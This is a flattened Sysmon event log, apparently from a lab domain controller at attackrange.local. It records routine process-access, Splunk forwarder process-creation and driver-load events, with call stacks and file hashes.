09:11:48.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005466Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:48.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005465Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:48.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005464Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:48.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005463Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:48.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005462Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:48.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005461Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:48.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005460Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:48.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005459Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:48.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005458Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:48.367{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2953-5F80-3201-000000007F01}4020C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005457Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.841{A5F018FF-2953-5F80-3201-000000007F01}4020C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe-----"C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe" --schemeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=87264859EE7DE0CED006DBC0D061030F,SHA256=80087865D952613CBC7D9663B1F34B7264B1291278BDD5939C7CCEA334864CF1,IMPHASH=B0958DE096151B4209C7AECE2483DEF3{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005482Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2956-5F80-3301-000000007F01}3068C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005481Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005480Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005479Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005478Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005477Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005476Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005475Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005474Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005473Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005472Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2956-5F80-3301-000000007F01}3068C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005471Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2956-5F80-3301-000000007F01}3068C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005470Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:50.711{A5F018FF-2956-5F80-3301-000000007F01}3068C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe-----"C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=87264859EE7DE0CED006DBC0D061030F,SHA256=80087865D952613CBC7D9663B1F34B7264B1291278BDD5939C7CCEA334864CF1,IMPHASH=B0958DE096151B4209C7AECE2483DEF3{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 644600x80000000000000005501Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.320C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\npf.sysMD5=DE7FCC77F4A503AF4CA6A47D49B3713D,SHA256=4BFAA99393F635CD05D91A64DE73EDB5639412C129E049F0FE34F88517A10FC6,IMPHASH=CB86059F4B291991E735BECBD4C669CBtrueRiverbed Technology, Inc.Valid 10341000x80000000000000005500Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.398{A5F018FF-28BF-5F80-1300-000000007F01}12641692C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\cryptsvc.dll+6124|c:\windows\system32\cryptsvc.dll+5e34|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdl